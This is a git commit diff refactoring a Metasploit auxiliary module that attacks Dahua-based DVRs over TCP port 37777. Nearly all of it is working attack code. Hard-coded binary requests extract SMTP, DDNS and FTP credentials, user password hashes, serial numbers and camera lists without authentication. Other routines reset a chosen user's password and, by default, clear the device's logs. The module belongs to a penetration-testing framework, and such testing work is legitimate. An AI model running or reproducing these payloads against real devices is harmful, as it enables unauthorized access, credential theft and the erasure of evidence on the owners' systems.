firts iteration of moving each payload to its own function and setting optional vars, cleaning up rubocop warnings as well
Tyler Bennett
parent
ca496a376f
commit
a8887e6b77
|
|
@ -21,83 +21,83 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_options([
|
||||
OptString.new('USERNAME', [true, 'A username to reset', '888888']),
|
||||
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
|
||||
OptBool.new('VERSION_INFO', ['false', 'Grabs the version of DVR', 'FALSE']),
|
||||
OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'TRUE']),
|
||||
OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'TRUE']),
|
||||
OptBool.new('SN_INFO', ['false', 'Grabs the SN of the DVR', 'FALSE']),
|
||||
OptBool.new('CHANNEL_INFO', ['false', 'Grabs the cameras and their assigned name', 'FALSE']),
|
||||
OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR','TRUE']),
|
||||
OptBool.new('USER_INFO', ['false', 'Grabs the Users and hashes of the DVR', 'TRUE']),
|
||||
OptBool.new('GROUP_INFO', ['false', 'Grabs the Users and groups of the DVR', 'FALSE']),
|
||||
OptBool.new('RESET', [false, 'Reset an existing user\'s pw?', 'FALSE']),
|
||||
OptBool.new('CLEAR_LOGS', [false, 'Clear the DVR logs when we\'re done?', 'TRUE']),
|
||||
Opt::RPORT(37777)
|
||||
])
|
||||
end
|
||||
|
||||
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
|
||||
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
def setup
|
||||
@password = datastore['PASSWORD']
|
||||
@password ||= Rex::Text.rand_text_alpha(6)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
usercount = 0
|
||||
u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00"
|
||||
version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
user = "root"
|
||||
pass = " w"
|
||||
# user8pwhash = "4WzwxXxM" #888888
|
||||
# user6pwhash = "sh15yfFM" #666666
|
||||
# useradminpwhash = "6QNMIQGe" #admin
|
||||
def grab_version
|
||||
connect
|
||||
sock.put(u1)
|
||||
data = sock.recv(8)
|
||||
disconnect
|
||||
if data == dvr_resp
|
||||
print_good("DVR FOUND: @ #{rhost}:#{rport}!")
|
||||
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
|
||||
connect
|
||||
sock.put(version)
|
||||
data = sock.get(1024)
|
||||
if data =~ /[\x00]{8,}([[:print:]]+)/
|
||||
ver = Regexp.last_match[1]
|
||||
print_status("Version: #{ver} @ #{rhost}:#{rport}!")
|
||||
end
|
||||
sock.put(VERSION)
|
||||
data = sock.get(1024)
|
||||
if data =~ /[\x00]{8,}([[:print:]]+)/
|
||||
ver = Regexp.last_match[1]
|
||||
print_status("Version: #{ver} @ #{rhost}:#{rport}!")
|
||||
end
|
||||
end
|
||||
|
||||
sock.put(sn)
|
||||
data = sock.get(1024)
|
||||
if data =~ /[\x00]{8,}([[:print:]]+)/
|
||||
serial = Regexp.last_match[1]
|
||||
print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!")
|
||||
end
|
||||
connect
|
||||
sock.put(email)
|
||||
if data = sock.get(1024).split('&&')
|
||||
print_status("Email Settings: @ #{rhost}:#{rport}!")
|
||||
if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/
|
||||
if mailhost = Regexp.last_match[1].split(':')
|
||||
print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil?
|
||||
print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil?
|
||||
end
|
||||
def grab_sn
|
||||
sock.put(SN)
|
||||
data = sock.get(1024)
|
||||
if data =~ /[\x00]{8,}([[:print:]]+)/
|
||||
serial = Regexp.last_match[1]
|
||||
print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!")
|
||||
end
|
||||
end
|
||||
|
||||
def grab_email
|
||||
connect
|
||||
sock.put(EMAIL)
|
||||
if data = sock.get(1024).split('&&')
|
||||
print_status("Email Settings: @ #{rhost}:#{rport}!")
|
||||
if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/
|
||||
if mailhost = Regexp.last_match[1].split(':')
|
||||
print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil?
|
||||
print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil?
|
||||
end
|
||||
if !data[5].nil? && !data[6].nil?
|
||||
print_good(" SMTP User: #{data[5]}") unless data[5].nil?
|
||||
print_good(" SMTP Password: #{data[6]}") unless data[6].nil?
|
||||
print_good(" SMTP User: #{data[5]}") unless data[5].nil?
|
||||
print_good(" SMTP Password: #{data[6]}") unless data[6].nil?
|
||||
muser = "#{data[5]}"
|
||||
mpass = "#{data[6]}"
|
||||
mailserver = "#{mailhost[0]}"
|
||||
|
|
@ -106,129 +106,201 @@ class Metasploit3 < Msf::Auxiliary
|
|||
report_email_creds(mailserver, rport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil?
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
connect
|
||||
sock.put(ddns)
|
||||
if data = sock.get(1024)
|
||||
data = data.split(/&&[0-1]&&/)
|
||||
data.each_with_index do |val, index|
|
||||
if index > 0
|
||||
val = val.split("&&")
|
||||
ddns_service = "#{val[0]}"
|
||||
ddns_server = "#{val[1]}"
|
||||
ddns_port = "#{val[2]}"
|
||||
ddns_domain = "#{val[3]}"
|
||||
ddns_user = "#{val[4]}"
|
||||
ddns_pass = "#{val[5]}"
|
||||
print_status("DDNS Settings @ #{rhost}:#{rport}!:")
|
||||
print_status(" DDNS Service: #{ddns_service}") unless val.nil?
|
||||
print_status(" DDNS Server: #{ddns_server}") unless val.nil?
|
||||
print_status(" DDNS Port: #{ddns_port}") unless val.nil?
|
||||
print_status(" Domain: #{ddns_domain}") unless val.nil?
|
||||
print_good(" Username: #{ddns_user}") unless val.nil?
|
||||
print_good(" Password: #{ddns_pass}") unless val.nil?
|
||||
if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0
|
||||
end
|
||||
end
|
||||
|
||||
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
|
||||
end
|
||||
def grab_ddns
|
||||
connect
|
||||
sock.put(DDNS)
|
||||
if data = sock.get(1024)
|
||||
data = data.split(/&&[0-1]&&/)
|
||||
data.each_with_index do |val, index|
|
||||
if index > 0
|
||||
val = val.split("&&")
|
||||
ddns_service = "#{val[0]}"
|
||||
ddns_server = "#{val[1]}"
|
||||
ddns_port = "#{val[2]}"
|
||||
ddns_domain = "#{val[3]}"
|
||||
ddns_user = "#{val[4]}"
|
||||
ddns_pass = "#{val[5]}"
|
||||
print_status("DDNS Settings @ #{rhost}:#{rport}!:")
|
||||
print_status(" DDNS Service: #{ddns_service}") unless val.nil?
|
||||
print_status(" DDNS Server: #{ddns_server}") unless val.nil?
|
||||
print_status(" DDNS Port: #{ddns_port}") unless val.nil?
|
||||
print_status(" Domain: #{ddns_domain}") unless val.nil?
|
||||
print_good(" Username: #{ddns_user}") unless val.nil?
|
||||
print_good(" Password: #{ddns_pass}") unless val.nil?
|
||||
if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0
|
||||
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
|
||||
end
|
||||
end
|
||||
end
|
||||
connect
|
||||
sock.put(nas)
|
||||
if data = sock.get(1024)
|
||||
print_status("Nas Settings @ #{rhost}:#{rport}!:")
|
||||
server = ''
|
||||
port = ''
|
||||
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
|
||||
server = Regexp.last_match[1].unpack('C*').join('.')
|
||||
port = Regexp.last_match[2].unpack('S')
|
||||
print_status(" Nas Server #{server}")
|
||||
print_status(" Nas Port: #{port}")
|
||||
end
|
||||
if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/
|
||||
ftpuser = Regexp.last_match[1]
|
||||
ftppass = Regexp.last_match[2]
|
||||
print_good(" FTP User: #{ftpuser}")
|
||||
print_good(" FTP Password: #{ftppass}")
|
||||
if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0
|
||||
report_creds(host: server, port: port, user: ftpuser, pass: ftppass, type: "FTP",
|
||||
active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil?
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def grab_nas
|
||||
connect
|
||||
sock.put(NAS)
|
||||
if data = sock.get(1024)
|
||||
print_status("Nas Settings @ #{rhost}:#{rport}!:")
|
||||
server = ''
|
||||
port = ''
|
||||
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
|
||||
server = Regexp.last_match[1].unpack('C*').join('.')
|
||||
port = Regexp.last_match[2].unpack('S')
|
||||
print_status(" Nas Server #{server}")
|
||||
print_status(" Nas Port: #{port}")
|
||||
end
|
||||
if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/
|
||||
ftpuser = Regexp.last_match[1]
|
||||
ftppass = Regexp.last_match[2]
|
||||
print_good(" FTP User: #{ftpuser}")
|
||||
print_good(" FTP Password: #{ftppass}")
|
||||
if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0
|
||||
report_creds(
|
||||
host: server,
|
||||
port: port,
|
||||
user: ftpuser,
|
||||
pass: ftppass,
|
||||
type: "FTP",
|
||||
active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil?
|
||||
end
|
||||
end
|
||||
connect
|
||||
sock.put(channels)
|
||||
data = sock.get(1024).split('&&')
|
||||
disconnect
|
||||
if data.length > 1
|
||||
print_status("Camera Channels @ #{rhost}:#{rport}!:")
|
||||
data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") }
|
||||
end
|
||||
end
|
||||
|
||||
def grab_channels
|
||||
connect
|
||||
sock.put(CHANNELS)
|
||||
data = sock.get(1024).split('&&')
|
||||
disconnect
|
||||
if data.length > 1
|
||||
print_status("Camera Channels @ #{rhost}:#{rport}!:")
|
||||
data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") }
|
||||
end
|
||||
end
|
||||
|
||||
def grab_users
|
||||
usercount = 0
|
||||
connect
|
||||
sock.put(USERS)
|
||||
if data = sock.get(1024).split('&&')
|
||||
print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!")
|
||||
data.each do |val|
|
||||
usercount += 1
|
||||
pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}"
|
||||
value = pass.split(":")
|
||||
user = "#{value[1]}"
|
||||
md5hash = "#{value[2]}"
|
||||
print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}")
|
||||
# Write the dahua hash to the database
|
||||
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
|
||||
report_hash(rhost, rport, user, hash)
|
||||
# Write the vulnerability to the database
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
sname: 'dvr',
|
||||
name: 'Dahua Authentication Password Hash Exposure',
|
||||
info: "Obtained password hash for user #{user}: #{md5hash}",
|
||||
refs: references
|
||||
)
|
||||
end
|
||||
connect
|
||||
sock.put(users)
|
||||
if data = sock.get(1024).split('&&')
|
||||
print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!")
|
||||
data.each do |val|
|
||||
usercount += 1
|
||||
pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}"
|
||||
value = pass.split(":")
|
||||
username = "#{value[1]}"
|
||||
md5hash = "#{value[2]}"
|
||||
print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}")
|
||||
# Write the dahua hash to the database
|
||||
hash = "#{rhost} #{username}:$dahua$#{md5hash}"
|
||||
report_hash(ip, rport, user, hash)
|
||||
# Write the vulnerability to the database
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
sname: 'dvr',
|
||||
name: 'Dahua Authentication Password Hash Exposure',
|
||||
info: "Obtained password hash for user #{username}: #{md5hash}",
|
||||
refs: references
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def grab_groups
|
||||
connect
|
||||
sock.put(GROUPS)
|
||||
if data = sock.get(1024).split('&&')
|
||||
print_status("User Groups: @ #{rhost}:#{rport}!")
|
||||
data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") }
|
||||
end
|
||||
end
|
||||
|
||||
def reset_user
|
||||
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
|
||||
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
|
||||
sock.put(u1)
|
||||
sock.put(u2)
|
||||
sock.put(u3)
|
||||
data = sock.get(1024)
|
||||
sock.put(u1)
|
||||
if data = sock.get(1024)
|
||||
print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!")
|
||||
end
|
||||
end
|
||||
|
||||
def clear_logs
|
||||
sock.put(CLEAR_LOGS1)
|
||||
sock.put(CLEAR_LOGS2)
|
||||
print_good("LOGS CLEARED! @ #{rhost}:#{rport}")
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# user8pwhash = "4WzwxXxM" #888888
|
||||
# user6pwhash = "sh15yfFM" #666666
|
||||
# useradminpwhash = "6QNMIQGe" #admin
|
||||
connect
|
||||
sock.put(U1)
|
||||
data = sock.recv(8)
|
||||
disconnect
|
||||
if data == DVR_RESP
|
||||
print_good("DVR FOUND: @ #{rhost}:#{rport}!")
|
||||
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
|
||||
# needs boolean logic to run or not run
|
||||
if datastore['VERSION_INFO']
|
||||
grab_version
|
||||
end
|
||||
connect
|
||||
sock.put(groups)
|
||||
if data = sock.get(1024).split('&&')
|
||||
print_status("User Groups: @ #{rhost}:#{rport}!")
|
||||
data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") }
|
||||
# needs boolean logic to run or not run
|
||||
if datastore['SN_INFO']
|
||||
grab_sn
|
||||
end
|
||||
# needs boolean logic to run or not run
|
||||
if datastore['EMAIL_INFO']
|
||||
grab_email
|
||||
end
|
||||
# needs boolean logic to run or not run
|
||||
if datastore['DDNS_INFO']
|
||||
grab_ddns
|
||||
end
|
||||
# needs boolean logic to run or not run
|
||||
if datastore['NAS_INFO']
|
||||
grab_nas
|
||||
end
|
||||
# needs boolean logic to run or not run
|
||||
if datastore['CHANNEL_INFO']
|
||||
grab_channels
|
||||
end
|
||||
# needs boolean logic to run or not run
|
||||
if datastore['USER_INFO']
|
||||
grab_users
|
||||
end
|
||||
# needs boolean logic to run or not run
|
||||
if datastore['GROUP_INFO']
|
||||
grab_groups
|
||||
end
|
||||
if datastore['RESET']
|
||||
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
|
||||
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
|
||||
sock.put(u1)
|
||||
sock.put(u2)
|
||||
sock.put(u3)
|
||||
data = sock.get(1024)
|
||||
sock.put(u1)
|
||||
if data = sock.get(1024)
|
||||
print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!")
|
||||
end
|
||||
|
||||
reset_user
|
||||
end
|
||||
|
||||
if datastore['CLEAR_LOGS']
|
||||
sock.put(clear_logs)
|
||||
sock.put(clear_logs2)
|
||||
print_good("LOGS CLEARED! @ #{rhost}:#{rport}")
|
||||
clear_logs
|
||||
end
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def report_hash(ip, rport, user, hash)
|
||||
def report_hash(rhost, rport, user, hash)
|
||||
service_data = {
|
||||
address: ip,
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'dahua_dvr',
|
||||
protocol: 'tcp',
|
||||
|
|
|
|||
Loading…
Reference in New Issue